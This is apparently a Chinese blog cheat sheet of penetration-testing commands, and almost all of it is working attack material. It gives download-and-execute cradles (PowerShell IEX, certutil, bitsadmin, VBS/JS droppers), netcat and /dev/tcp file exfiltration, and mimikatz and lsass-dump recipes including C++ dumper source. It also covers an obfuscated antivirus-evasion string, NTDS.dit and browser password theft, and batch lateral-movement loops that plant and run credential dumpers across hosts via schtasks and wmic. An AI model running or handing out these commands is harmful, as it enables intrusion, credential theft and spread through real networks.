滲透測試常規操作記錄(下)

2021-12-25 黑白之道

Linux
作業系統&內核版本&環境變量>cat /etc/issue>cat /etc/*-release>cat /etc/lsb-release>cat /etc/redhat-releasecat /proc/version>uname -a>uname -mrs>rpm -q kernel>dmesg | grep Linux>ls /boot | grep vmlinuz->cat /etc/profile>cat /etc/bashrc>cat ~/.bash_profile>cat ~/.bashrc>cat ~/.bash_logout>env>setRoot權限進程>ps aux | grep root>ps -ef | grep root計劃任務>crontab -l>ls -alh /var/spool/cron>ls -al /etc/ | grep cron>ls -al /etc/cron*>cat /etc/cron*>cat /etc/at.allow>cat /etc/at.deny>cat /etc/cron.allow>cat /etc/cron.deny>cat /etc/crontab>cat /etc/anacrontab>cat /var/spool/cron/crontabs/rootIP信息>/sbin/ifconfig -a>cat /etc/network/interfaces>cat /etc/sysconfig/network連接信息>grep 80 /etc/services>netstat -antup>netstat -antpx>netstat -tulpn>chkconfig --list>chkconfig --list | grep 3:on>last>w用戶信息>id>whomi>w>last>cat /etc/passwd>cat /etc/group>cat /etc/shadow>ls -alh /var/mail/>grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}'   >awk -F: '($3 == "0") {print}' /etc/passwd   >cat /etc/sudoers>sudo –l操作記錄>cat ~/.bash_history>cat ~/.nano_history>cat ~/.atftp_history>cat ~/.mysql_history>cat ~/.php_history可寫目錄>find / -writable -type d 2>/dev/null      >find / -perm -222 -type d 2>/dev/null     >find / -perm -o w -type d 2>/dev/null     >find / -perm -o x -type d 2>/dev/null     >find / \( -perm -o w -perm -o x \) -type d 2>/dev/null   

HTTP服務

>python2 -m SimpleHTTPServer >python3 -m http.server 8080>php -S 0.0.0.0:8888>openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes>openssl s_server -key key.pem -cert cert.pem -accept 443 –WWW>ruby -rwebrick -e "WEBrick::HTTPServer.new(:Port => 8888,:DocumentRoot => Dir.pwd).start">ruby -run -e httpd . -p 8888

文件操作

Windows查找文件
>cd /d E: && dir /b /s index.php>for /r E:\ %i in (index*.php) do @echo %i>powershell Get-ChildItem d:\ -Include index.php -recurse

Linux查找文件

#find / -name index.php查找木馬文件>find . -name '*.php' | xargs grep -n 'eval('>find . -name '*.php' | xargs grep -n 'assert('>find . -name '*.php' | xargs grep -n 'system('

創建
讀文本文件:>file = Get-Content "1.txt">file>powershell Set-content "1.txt" "wocao"&>powershell "write-output ([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String(\"d2Vic2hlbGw=\"))) | out-file -filepath c:\www\wwwroot\1.aspx;"

壓縮

>rar.exe a –k –r –s –m3 C:\1.rar C:\wwwroot>7z.exe a –r –p12345 C:\1.7z C:\wwwroot

解壓
>rar.exe e c:\wwwroot\1.rar>7z.exe x –p12345 C:\1.7z –oC:\wwwroot

傳輸FTP
>open 192.168.0.98 21>輸入帳號密碼>dir查看文件>get file.txt


VBS
Set Post = CreateObject("Msxml2.XMLHTTP")Set Shell = CreateObject("Wscript.Shell")Post.Open "GET","http://192.168.1.192/Client.exe",0Post.Send()Set aGet = CreateObject("ADODB.Stream")aGet.Mode = 3aGet.Type = 1aGet.Open()aGet.Write(Post.responseBody)aGet.SaveToFile "C:\1.exe",2 >cscript 1.vbsConst adTypeBinary = 1Const adSaveCreateOverWrite = 2Dim http,adoSet http = CreateObject("Msxml2.serverXMLHTTP")http.SetOption 2,13056//忽略HTTPS錯誤http.open "GET","http://192.168.1.192/Client.exe",Falsehttp.sendSet ado = createobject("Adodb.Stream")ado.Type = adTypeBinaryado.Openado.Write http.responseBodyado.SaveToFile "c:\1.exe"ado.Close

JS

var WinHttpReq = new ActiveXObject("WinHttp.WinHttpRequest.5.1");WinHttpReq.Open("GET", WScript.Arguments(0), false);WinHttpReq.Send();BinStream = new ActiveXObject("ADODB.Stream");BinStream.Type = 1; BinStream.Open();BinStream.Write(WinHttpReq.ResponseBody);BinStream.SaveToFile("1.exe");>cscript /nologo 1.js http:

Bitsadmin
>bitsadmin /transfer n http://192.168.1.192/Client.exe  e:\1.exe>bitsadmin /rawreturn /transfer getfile http://192.168.1.192/Client.exe e:\1.exe>bitsadmin /rawreturn /transfer getpayload http://192.168.1.192/Client.exe e:\1.exe>bitsadmin /transfer myDownLoadJob /download /priority normal "http://192.168.1.192/Client.exe" "e:\1.exe "

Powershell

1

注意:內核5.2以下版本可能無效

>powershell (new-object System.Net.WebClient).DownloadFile('http://192.168.1.1/Client.exe','C:\1.exe'); start-process 'c:\1.exe'>powershell>(New-Object System.Net.WebClient).DownloadFile('http://192.168.0.108/1.exe',"$env:APPDATA\csrsv.exe");Start-Process("$env:APPDATA\csrsv.exe")

2
PS>Copy-Item '\\sub2k8.zone.com\c$\windows\1.txt' -Destination '\\dc.zone.com\c$\1.txt'

3

>powershell ($dpl=$env:temp+'f.exe');(New-Object System.Net.WebClient).DownloadFile('http://192.168.0.108/ok.txt',$dpl);

4

高版本

PS>iwr -Uri http://192.168.0.106:1222/111.txt -OutFile 123.txt –UseBasicParsing

5
C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Templates>Import-Module BitsTransfer>$path = [environment]::getfolderpath("temp")>Start-BitsTransfer -Source "http://192.168.0.108/ok.txt" -Destination "$path\ok.txt">Invoke-Item  "$path\ok.txt"

Certutil

>certutil.exe -urlcache -split -f http:>certutil.exe -urlcache -split -f http:對文件進行編碼下載後解碼執行>base64 payload.exe > /var/www/html/1.txt # 在C&C上生成經base64編碼的exe>certutril -urlcache -split -f http:

Python

#python -c 'import urllib;urllib.urlretrieve("http://192.168.1.192/Client.exe","/path/to/save/1.exe")'

Perl

#!/usr/bin/perluse LWP::Simple;getstore("http://192.168.1.192/Client.exe", "1.exe");

PHP

<?php $data = @file("http://192.168.1.192/Client.exe");$lf = "1.exe";$fh = fopen($lf, 'w');fwrite($fh, $data[0]);fclose($fh);?>

Curl

wget
#wget http://192.168.1.192/Client.exe#wget –b後臺下載#wget –c 中斷恢復

nc

>nc –lvnp 333 >1.txt目標機>nc –vn 192.168.1.2 333 <test.txt –q 1&>cat 1.txt >/dev/tcp/1.1.1.1/333

SCP

Linux中傳輸文件>scp -P 22 file.txt user@1.1.1.1:/tmp

Hash&密碼破解網址
https://www.objectif-securite.ch/en/ophcrackhttp://cracker.offensive-security.com/index.phpGoogleColab破解hash之前在freebuf上看到過相關文章,最近在github上也看到了這個腳本,所以拿起來試試,速度可觀https://www.freebuf.com/geek/195453.htmlhttps://gist.github.com/chvancooten/59acfbf1d8ee7a865108fca2e9d04c4a打開https://drive.google.com/drive新建一個文件夾,右鍵,更多選擇google Colab

如果沒有,點關聯更多應用,搜索這個名字,安裝一下即可

安裝hashcat,下載字典

運行類型選擇GPU加速

這裡測試個簡單密碼

12億條密碼大概20多分鐘

https://download.weakpass.com/wordlists/1851/hashesorg2019.gz

以上是字典

密碼策略

默認情況,主機帳號的口令每30天變更一次
>HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\Netlogon\Parameters,鍵值為DisablePasswordChange,設置為1,即表示禁止修改帳號口令>組策略(gpedit.msc)中修改默認的30天,修改位置為"Computer Configuration\Windows Settings\Security Settings\Local Policies\Security Options\Domain member: Maximum machine account password age"設置為0時,表示無限長>禁止修改主機帳號口令,用來支持VDI (virtual desktops)等類型的使用,具體位置為"Computer Configuration\Windows Settings\Security Settings\Local Policies\Security Options\Domain member: Disable machine account password changes"Debug Privilege本地安全策略>本地策略>用戶權限分配>調試程序

開啟Wdigest
Cmd>reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /fpowershell>Set-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest -Name UseLogonCredential -Type DWORD -Value 1meterpreter>reg setval -k HKLM\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest -v UseLogonCredential -t REG_DWORD -d 1Getpass>getpassword.exe>1.txtQuarksPwDump>QuarksPwDump.exe -dump-hash-localMSFMeterpreter > run hashdump&Meterpreter > mimikatz_command -f samdump::hashes&Meterpreter > load mimikatzMeterpreter > wdigest&Meterpreter > load mimikatzMeterpreter > msvMeterpreter > kerberos&Meterpreter > load kiwiMeterpreter > creds_all&Meterpreter > migrate PIDMeterpreter > load mimikatzMeterpreter > mimikatz_command -f sekurlsa::searchPasswords&Meterpreter > run windows/gather/smart_hashdumpEmpire>usemodule credentials/mimikatz/dcsync_hashdumpInvoke-Dcsync>powershell -nop -ep bypass "IEX (New-Object Net.WebClient).DownloadString('http://192.168.0.107/ps/Invoke-DCSync.ps1');invoke-dcsync


Mimikatz調用mimikatz遠程抓取
抓明文>powershell IEX (New-Object Net.WebClient).DownloadString('http://192.168.0.108/nishang/Gather/Invoke-Mimikatz.ps1'); Invoke-Mimikatz抓hash>powershell IEX (New-Object Net.WebClient).DownloadString('http://192.168.0.100/nishang/Gather/Get-PassHashes.ps1');Get-PassHashes>powershell -w hidden -ep bypass "IEX (New-Object Net.WebClient).DownloadString('http://192.168.0.107/ps/powersploit/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz" >C:\Users\Administrator.DC\Desktop\1123.txt

橫向批量抓hash

Schtasks
把IP列表放入ip.txt文件中,通過一個帳戶密碼批量net use與列表裡的IP建立連接,如果建立連接沒出錯的話,複製getpass到目錄temp目錄,使用帳戶密碼遠程創建計劃任務名字為windowsupdate,指定每日00:00以system權限執行getpass文件,創建完計劃任務後,/tn是立刻執行此計劃任務,執行完後刪除此計劃任務,ping -n 10>nul是程序停留,相當於延時10秒,之後複製文件到本地,接著刪除getpass文件,刪除創建的連接。>for /f %i in (ip.txt) do net use \\%i\admin$ /user:"administrator" "password" & if %errorlevel% equ 0 ( copy getpass.exe \\%i\admin$\temp\ /Y ) & schtasks /create /s "%i" /u "administrator" /p "password" /RL HIGHEST /F /tn "windowsupdate" /tr "c:\windows\temp\getpass.exe" /sc DAILY /mo 1 /ST 00:00 /RU SYSTEM & schtasks /run /tn windowsupdate /s "%i" /U "administrator" /P "password" & schtasks /delete /F /tn windowsupdate /s "%i" /U " administrator" /P "password" & @ping 127.0.0.1 -n 10 >nul & move \\%i\admin$\temp\dumps.logs C:\Users\Public\%i.logs & del \\%i\admin$\debug\getpass.exe /F & net use \\%i\admin$ /del

Wmic

>for /f %i in (ip.txt) do net use \\%i\admin$ /user:"administrator" "password" & if %errorlevel% equ 0 ( copy getpass.exe \\%i\admin$\temp\ /Y ) & wmic /NODE:"%i" /user:"administrator" /password:"password" PROCESS call create "c:\windows\temp\getpass.exe" & @ping 127.0.0.1 -n 10 >nul & move \\%i\admin$\temp\dumps.logs C:\Users\Public\%i.logs & del \\%i\admin$\temp\getpass.exe /F & net use \\%i\admin$ /del

直接使用

>mimikatz.exe ""privilege::debug"" ""sekurlsa::logonpasswords full"" exit >> log.txt>privilege::debug>misc::memssp

鎖屏

>rundll32.exe user32.dll,LockWorkStation記錄的結果在c:\windows\system32\mimilsa.log>mimikatz log "privilege::debug" "lsadump::lsa /patch">mimikatz !privilege::debug>mimikatz !token::elevate>mimikatz !lsadump::sam

Powershell Bypass
>powershell -c " ('IEX '+'(Ne'+'w-O'+'bject Ne'+'t.W'+'ebClien'+'t).Do'+'wnloadS'+'trin'+'g'+'('+'1vchttp://'+'192.168.0'+'.101/'+'Inv'+'oke-Mimik'+'a'+'tz.'+'ps11v'+'c)'+';'+'I'+'nvoke-Mimika'+'tz').REplaCE('1vc',[STRing][CHAR]39)|IeX"

.net 2.0

katz.cs放置C:\Windows\Microsoft.NET\Framework\v2.0.50727Powershell執行>$key = 'BwIAAAAkAABSU0EyAAQAAAEAAQBhXtvkSeH85E31z64cAX+X2PWGc6DHP9VaoD13CljtYau9SesUzKVLJdHphY5ppg5clHIGaL7nZbp6qukLH0lLEq/vW979GWzVAgSZaGVCFpuk6p1y69cSr3STlzljJrY76JIjeS4+RhbdWHp99y8QhwRllOC0qu/WxZaffHS2te/PKzIiTuFfcP46qxQoLR8s3QZhAJBnn9TGJkbix8MTgEt7hD1DC2hXv7dKaC531ZWqGXB54OnuvFbD5P2t+vyvZuHNmAy3pX0BDXqwEfoZZ+hiIk1YUDSNOE79zwnpVP1+BN0PK5QCPCS+6zujfRlQpJ+nfHLLicweJ9uT7OG3g/P+JpXGN0/+Hitolufo7Ucjh+WvZAU//dzrGny5stQtTmLxdhZbOsNDJpsqnzwEUfL5+o8OhujBHDm/ZQ0361mVsSVWrmgDPKHGGRx+7FbdgpBEq3m15/4zzg343V9NBwt1+qZU+TSVPU0wRvkWiZRerjmDdehJIboWsx4V8aiWx8FPPngEmNz89tBAQ8zbIrJFfmtYnj1fFmkNu3lglOefcacyYEHPX/tqcBuBIg/cpcDHps/6SGCCciX3tufnEeDMAQjmLku8X4zHcgJx6FpVK7qeEuvyV0OGKvNor9b/WKQHIHjkzG+z6nWHMoMYV5VMTZ0jLM5aZQ6ypwmFZaNmtL6KDzKv8L1YN2TkKjXEoWulXNliBpelsSJyuICplrCTPGGSxPGihT3rpZ9tbLZUefrFnLNiHfVjNi53Yg4='>$Content = [System.Convert]::FromBase64String($key)>Set-Content key.snk -Value $Content –Encoding ByteCmd執行>C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe /r:System.EnterpriseServices.dll /out:katz.exe /keyfile:key.snk /unsafe katz.cs>C:\Windows\Microsoft.NET\Framework\v2.0.50727\regsvcs.exe katz.exe

.net 4.0 Msbuild

>C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild mimi.xml

JScript
>wmic os get /format:"mimikatz.xsl"

>wmic os get /format:"http://192.168.0.107/ps/mimi.xsl"

Procdump64+mimikatz

>procdump64.exe -accepteula -64 -ma lsass.exe lsass.dmp>procdump.exe -accepteula -ma lsass.exe lsass.dmp>mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit>powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/TheKingOfDuck/hashdump/master/procdump/procdump.ps1');Invoke-Procdump64 -Args '-accepteula -ma lsass.exe lsass.dmp'"

Dumpert

https://github.com/outflanknl/Dumpert有三種,分別是dll,可執行文件和cs的Aggressor插件,這裡測試下dll和exeDLL的執行方式是rundll32.exe C:\Outflank-Dumpert.dll,Dump

文件保存在c:\windows\temp\dumpert.dmp用mimikatz>sekurlsa::mimidump c:\windows\temp\dumpert.dmp>sekurlsa::logonpasswords

可執行文件就直接執行就可以了

繞過卡巴斯基
https://gist.github.com/xpn/c7f6d15bf15750eae3ec349e7ec2380e

將三個文件下載到本地,使用visual studio進行編譯,需要修改了幾個地方。(1)添加如下代碼#pragma comment(lib, "Rpcrt4.lib") (引入Rpcrt4.lib庫文件)(2)將.c文件後綴改成.cpp (使用了c++代碼,需要更改後綴)(3) 編譯時選擇x64編譯得到exe文件Visual studio創建c++空項目配置類型選dll字符集選Unicode,調試器選64位Dll保存在C:\\windows\\temp\\1.bin

#include <cstdio>#include <windows.h>#include <DbgHelp.h>#include <iostream>#include <string>  #include <map>  #include <TlHelp32.h> 
#pragma comment(lib,"Dbghelp.lib")using namespace std;
int FindPID(){ PROCESSENTRY32 pe32; pe32.dwSize = sizeof(pe32);
HANDLE hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if (hProcessSnap == INVALID_HANDLE_VALUE) { cout << "CreateToolhelp32Snapshot Error!" << endl;; return false; }
BOOL bResult = Process32First(hProcessSnap, &pe32);
while (bResult) { if (_wcsicmp(pe32.szExeFile, L"lsass.exe") == 0) { return pe32.th32ProcessID; } bResult = Process32Next(hProcessSnap, &pe32); }
CloseHandle(hProcessSnap);
return -1;}
typedef HRESULT(WINAPI* _MiniDumpW)( DWORD arg1, DWORD arg2, PWCHAR cmdline);
typedef NTSTATUS(WINAPI* _RtlAdjustPrivilege)( ULONG Privilege, BOOL Enable, BOOL CurrentThread, PULONG Enabled);
int dump() {
HRESULT hr; _MiniDumpW MiniDumpW; _RtlAdjustPrivilege RtlAdjustPrivilege; ULONG t;
MiniDumpW = (_MiniDumpW)GetProcAddress( LoadLibrary(L"comsvcs.dll"), "MiniDumpW");
RtlAdjustPrivilege = (_RtlAdjustPrivilege)GetProcAddress( GetModuleHandle(L"ntdll"), "RtlAdjustPrivilege");
if (MiniDumpW == NULL) {
return 0; } RtlAdjustPrivilege(20, TRUE, FALSE, &t);
wchar_t ws[100]; swprintf(ws, 100, L"%hd%hs", FindPID(), " C:\\windows\\temp\\1.bin full");
MiniDumpW(0, 0, ws); return 0;
}BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: dump(); break; case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE;}>xxx.exe c:\xx\xx\xx.dll使用絕對路徑

遠程LSASS進程轉儲-Physmem2profit
https:mimikatz被多數安全人員用來獲取憑據,但現在的AV/EDR很輕易的識別並查殺,這裡不在伺服器端使用mimikatz,遠程對lsass進程進行轉儲。伺服器端直接使用visual studio構建physmem2profit-public\server\


客戶端>git clone --recurse-submodules https://github.com/FSecureLABS/physmem2profit.git客戶端這裡先安裝>bash physmem2profit/client/install.sh


需要將此文件https://github.com/Velocidex/c-aff4/raw/master/tools/pmem/resources/winpmem/att_winpmem_64.sys傳到目標伺服器,我這裡存放在c:\windows\temp\中伺服器端執行>Physmem2profit.exe --ip 192.168.0.98 --port 8888 –verbose這裡的IP是伺服器端IP

攻擊端安裝所需模塊

攻擊端執行>source physmem2profit/client/.env/bin/activate>cd physmem2profit/client>python3 physmem2profit --mode all --host 192.168.0.98 --port 8888 --drive winpmem --install 'c:\windows\temp\att_winpmem_64.sys' --label test

伺服器端可以看到

把生成的dmp文件轉移到win系統上使用mimikatz即可獲得hash,當然也可以在linux上使用pypykatz。


再來一條轉儲lsass進程的命令要以system權限執行>rundll32.exe C:\Windows\System32\comsvcs.dll MiniDump <lsass pid> lsass.dmp full


SqlDumper+mimikatz
位置C:\Program Files\Microsoft SQL Server\number\Shared>tasklist /svc | findstr lsass.exe  查看lsass.exe 的PID號>Sqldumper.exe ProcessID PID 0x01100  導出mdmp文件>mimikatz.exe "sekurlsa::minidump SQLDmpr0001.mdmp" "sekurlsa::logonPasswords full" exit

Mimipenguin

抓取linux下hash,root權限
https:

緩存hash提取

註冊表
>reg save hklm\sam c:\sam.hive &reg save hklm\system c:\system.hive &reg save hklm\security c:\security.hive>mimikatz.exe "lsadump::sam /system:sys.hive /sam:sam.hive" exit

Ninjacopy
#http://192.168.0.101/powersploit/Exfiltration/Invoke-NinjaCopy.ps1>powershell -exec bypass>Import-Module .\invoke-ninjacopy.ps1>Invoke-NinjaCopy -Path C:\Windows\System32\config\SAM -LocalDestination .\sam.hive>Invoke-NinjaCopy –Path C:\Windows\System32\config\SYSTEM -LocalDestination .\system.hive>Invoke-NinjaCopy -Path "c:\windows\ntds\ntds.dit" -LocalDestination "C:\Windows\Temp\1.dit">Invoke-NinjaCopy -Path "c:\windows\ntds\ntds.dit" -ComputerName "dc.zone.com" -LocalDestination "C:\Windows\Temp\1.dit"


Quarks-pwdump
>quarks-pwdump.exe –dump-hash-domain

域hash提取Ntdsutil
>ntdsutil>snapshot>activate instance ntds>create>mount {guid}>copy 裝載點\windows\NTDS\ntds.dit d:\ntds_save.dit>unmount {guid}>delete {guid}>quit&創建> ntdsutil snapshot 「activate instance ntds」 create quit quit掛載> ntdsutil snapshot 「mount {guid}」 quit quit複製>copy c:\$SNAP_XXX_VOLUMEC$\windows\NTDS\ntds.dit d:\ntds_save.dit卸載並刪除> ntdsutil snapshot 「unmounts {guid}」 「delete {guid}」 quit quit刪除後檢測> ntdsutil snapshot 「List All」 quit quit提取hash> QuarksPwDump -dump-hash-domain -ntds-file d:\ntds_save.dit

Vssadmin
創建C盤卷影拷貝>vssadmin create shadow /for=c:複製ntds.dit>copy {Shadow Copy Volume Name}\windows\NTDS\ntds.dit c:\ntds.dit刪除拷貝>vssadmin delete shadows /for=c: /quiet

Impacket

Impacket中的secretsdump.py或

NTDSDumpex
>Invoke-NinjaCopy -Path "c:\windows\ntds\ntds.dit" -LocalDestination "C:\Windows\Temp\1.dit">reg save HKLM\SYSTEM C:\Windows\Temp\SYSTEM.hivehttps://github.com/zcgonvh/NTDSDumpEx>NTDSDumpEx.exe -d ntds.dit -s SYSTEM.hive

WMI調用Vssadmin
>wmic /node:dc /user:xxxx\admin /password:passwd process call create "cmd /c vssadmin create shadow /for=C: 2>&1">wmic /node:dc /user:P xxxx\admin /password: passwd process call create "cmd /c copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\temp\ntds.dit 2>&1">wmic /node:dc /user: xxxx\admin /password: passwd process call create "cmd /c copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM\ C:\temp\SYSTEM.hive 2>&1">copy \\10.0.0.1\c$\temp\ntds.dit C:\tempPS C:\Users\test.PENTESTLAB> copy \\10.0.0.1\c$\temp\SYSTEM.hive C:\temp

PowerSploit
PS >Import-Module .\VolumeShadowCopyTools.ps1PS >New-VolumeShadowCopy -Volume C:\PS >Get-VolumeShadowCopy

Nishang
PS >Import-Module .\Copy-VSS.ps1PS >Copy-VSSPS >Copy-VSS -DestinationDir C:\ShadowCopy\或MSF中Meterpreter>load powershellMeterpreter>powershell_import /root/Copy-VSS.ps1Meterpreter>powershell_execute Copy-VSS

MimikatzMSF
#use auxiliary/admin/smb/psexec_ntdsgrab#set rhost smbdomain smbuser smbpass#exploitNtds.dit文件存在/root/.msf4/loot後滲透模塊#use windows/gather/credentials/domain_hashdump#set session 1

laZagnewindows
https://github.com/AlessandroZ/LaZagne>laZagne.exe all -oN獲取所有密碼輸出到文件PowershellPS>[Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime]PS>$vault = New-Object Windows.Security.Credentials.PasswordVaultPS>$vault.RetrieveAll() | % { $_.RetrievePassword();$_ }

Linux


敏感信息Seatbelt
使用Visual studio編譯>Seatbelt.exe ALL獲取所有信息

VNC密碼
>reg query HKEY_LOCAL_MACHINE\SOFTWARE\TightVNC\Server /v passwordhttp://www.cqure.net/wp/tools/password-recovery/vncpwdump/


解密

Navicat信息
>reg query HKEY_CURRENT_USER\SOFTWARE\PremiumSoft\Navicat\Servers /s /v host >reg query HKEY_CURRENT_USER\SOFTWARE\PremiumSoft\Navicat\Servers /s /v UserName >reg query HKEY_CURRENT_USER\SOFTWARE\PremiumSoft\Navicat\Servers /s /v pwd離線破解https://github.com/HyperSine/how-does-navicat-encrypt-password

Chrome保存的密碼
>mimikatz dpapi::chrome /in:"%localappdata%\Google\Chrome\User Data\Default\Login Data" /unprotect

Foxmail
X:\Foxmail\storage\xxx\Accounts\Account.rec0使用Foxmail Password Decryptor解密https://securityxploded.com/foxmail-password-decryptor.php

firefox保存的密碼
https:>webbrowserpassview.exe /LoadPasswordsFirefox 1 /shtml "c:\1.html"或>dir %appdata%\Mozilla\Firefox\Profiles\>dir %appdata%\Mozilla\Firefox\Profiles\yn80ouvt.default需先結束firefox.exe進程壓縮>7z.exe -r -padmin123 a c:\users\public\firefox.7z C:\Users\Administrator\AppData\Roaming\Mozilla\*.* https:https:

SecureCRT

C:\Documents and Settings\Administrator\Application Data\VanDyke下的config文件夾C:\program files\Vandyke software\securecrt\https://github.com/uknowsec/SharpDecryptPwd

橫向探測存活主機
For+Ping命令查詢存活主機>for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.0.%I |findstr "TTL="


For+Ping命令查詢域名對應IP

>for /f "delims=" %i in (D:/domains.txt) do @ping -w 1 -n 1 %i | findstr /c:"[192." >> c:/windows/temp/ds.txt

NbtScan
Windows>nbtscan.exe -m 192.168.1.0/24Linux

NMAP
#nmap -Pn -open -A -n -v -iL filename.txt-Pn:跳過主機發現-n:不做DNS解析-open:只顯示開啟的埠-A:掃描過程中,輸入回車,可以查看掃描進度-v:顯示詳細信息-F:快速掃描100個常見埠-p:選擇要掃描的埠  例:-p1-65535 (全埠掃描,中間沒有空格)-iL:為程序指定一個要掃描的IP列表-sV:探測開放埠的服務和版本信息-T可以選擇掃描等級,默認T3,但想快點話,可以輸入  -T4存活主機>nmap -sP -PI 192.168.0.0/24>nmap -sn -PE -T4 192.168.0.0/24>nmap -sn -PR 192.168.0.0/24

代理nmap掃
meterpreter > backgroundmsf > use auxiliary/server/socks4a再配置proxychains.conf

NetDiscover

rp-scan


kali>arp-scan --interface=wlan0 -localnetWindows>arp-scan.exe -t 192.168.0.0/24

MSF



#use auxiliary/scanner/netbios/nbnamemeterpreter>run post/windows/gather/arp_scanner RHOSTS=192.168.1.1/24meterpreter>run post/multi/gather/ping_sweep RHOSTS=192.168.1.1/24

探測服務&埠

常見埠

服務埠Mssql1433SMB445WMI135winrm5985rdp3389ssh22oracle1521mysql3306redis6379postgresql5432ldap389smtp25pop3110imap143exchange443vnc5900ftp21rsync873mongodb27017telnet23svn3690java rmi1099couchdb5984pcanywhere5632web80-90,8000-10000,7001,9200,9300PowershellPowersploit
>powershell.exe -nop -exec bypass -c "IEX(New-Object net.webclient).DownloadString('http://192.168.0.107/ps/powersploit/Recon/Invoke-Portscan.ps1'); Invoke-Portscan -Hosts 192.168.0.0/24 –T 4 -Ports '1-65535' -oA C:\TEMP.txt"

Nishang
>powershell.exe -nop -exec bypass -c "IEX(New-Object net.webclient).DownloadString('http://192.168.0.107/ps/nishang/Scan/Invoke-PortScan.ps1'); Invoke-Portscan -StartAddress 192.168.0.1 -EndAddress 192.168.0.254 -ResolveHost -ScanPort"


去掉scanport就是探測存活

SMBMSFNMAP
#nmap -sU -sS --script smb-enum-shares.nse -p 445 192.168. 1.119

CMD
>for /l %a in (1,1,254) do start /min /low telnet 192.168.1.%a 445

Linux Samba服務
埠一般139,弱口令連接>smbclient -L 192.168.0.110>smbclient '\\192.168.0.110\IPC$'#use exploit/linux/samba/is_known_pipenamea

MSF服務Nc
>nc -znv 192.168.0.98 1-65535


>nc -v -w 1 192.168.0.110 -z 1-1000>for i in {101..102}; do nc -vv -n -w 1 192.168.0.$i 21-25 -z; done

Masscan
$sudo apt-get install clang git gcc make libpcap-dev$git clone https://github.com/robertdavidgraham/masscan$cd masscan$make >masscan -p80,3389,1-65535 192.168.0.0/24



PTScan

友好識別web服務

https:>python PTscan.py {-f /xxx/xxx.txt or -h 192.168.1} [-p 21,80,3306]  [-m 50] [-t 10] [-n(不ping)] [-b(開啟banner掃描)] [-r查找IP]80,81,82,83,84,85,86,87,88,89,90,91,901,18080,8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,443,8443,7001


CobaltStrike+K8 Aggressor存活主機
beacon>Cscan 192.168.0.0/24 OnlinePC



MS17010
beacon>Cscan 192.168.0.0/24 MS17010



作業系統信息
beacon>Cscan 192.168.0.0/24 Osscan



內網站點banner、標題掃描
beacon>Cscan 192.168.0.0/24 WebScan

FTP爆破
上傳帳戶密碼文件user.txt、pass.txt到beacon目錄(beacon>pwd)beacon>Cscan 192.168.0.0/24 FtpScan

WMI爆破windows帳戶密碼
上傳帳戶密碼文件user.txt、pass.txt到beacon目錄(beacon>pwd)beacon>Cscan 192.168.0.0/24 WmiScan

思科設備掃描
beacon>Cscan 192.168.0.0/24 CiscoScan

枚舉共享

枚舉SQL SERVER資料庫執行命令&IPC&計劃任務
建立連接>net use \\192.168.1.2\ipc$ "password" /user:domain\administrator查看連接>net use列文件>dir \\192.168.1.2\c$查看系統時間>net time \\192.168.1.2上傳文件>copy 1.exe \\192.168.1.2\c$下載文件>copy \\192.168.1.2\c$\1.exe 1.exe批量IPC@echo offecho check ip addr config file…if not exist ip.txt echo ip addr config file ip.txt does not exist! & goto endecho read and analysis file…for /F "eol=#" %%i in (ip.txt) do start PsExec.exe \\%%i -accepteula -u administrator -p "123456" cmd & start cmd /c PsExec.exe \\%%i -u administrator -p "123456" cmd:endexit

AT

Schtasks

>net use \\192.168.1.2\ipc$ "password" /user:domain\administrator>copy 1.exe \\192.168.1.2\c$>net time \\192.168.1.2>at \\192.168.1.2 1:00AM c:\1.exe>at \\192.168.1.2 1:00AM cmd.exe /c 「ipconfig >c:/1.txt」>type \\192.168.1.2\c$\1.txt查看計劃任務>at \\192.168.1.2刪除計劃任務>at \\192.168.1.2 計劃ID /delete橫向批量上線>atexec.exe ./administrator:pass@10.1.1.1 "certutil.exe -urlcache -split -f http://youip.com:80/shell.txt c:/windows/debug/SysDug.exe" >atexec.exe ./administrator:pass@10.1.1.1 "c:/windows/debug/SysDug.exe" >atexec.exe ./administrator:pass@10.1.1.1 "certutil.exe -urlcache -split -f c:/windows/debug/SysDug.exe delete">net use \\192.168.0.55\ipc$ "password" /user:"domain\administrator">schtasks /query /fo LIST /v 查看計劃任務上傳文件>copy ok.exe \\192.168.0.55\c$\windows\temp遠程創建定時任務 >schtasks /create /s "192.168.0.55" /u "admin" /p "qqq23" /RL HIGHEST /F /tn "windowsupdate" /tr "c:\windows\temp\ok.exe" /sc DAILY /mo 1 /ST 20:28 /RU SYSTEM查詢遠程創建的任務>schtasks /query /s "192.168.0.55" /U "admin" /P "qqq23" | findstr "windowsupdate" 立即執行遠程任務>schtasks /run /tn windowsupdate /s "192.168.0.55" /U "admin" /P "qqq23" 刪除定時任務 >schtasks /Delete /tn windowsupdate /F /s "192.168.0.55" /u "admin" /p "qqq23"刪除IPC>net user name /del /y橫向批量上線>for /f %i in (ip.txt) do net use \\%i\admin$ /user:"administrator" "password" & if %errorlevel% equ 0 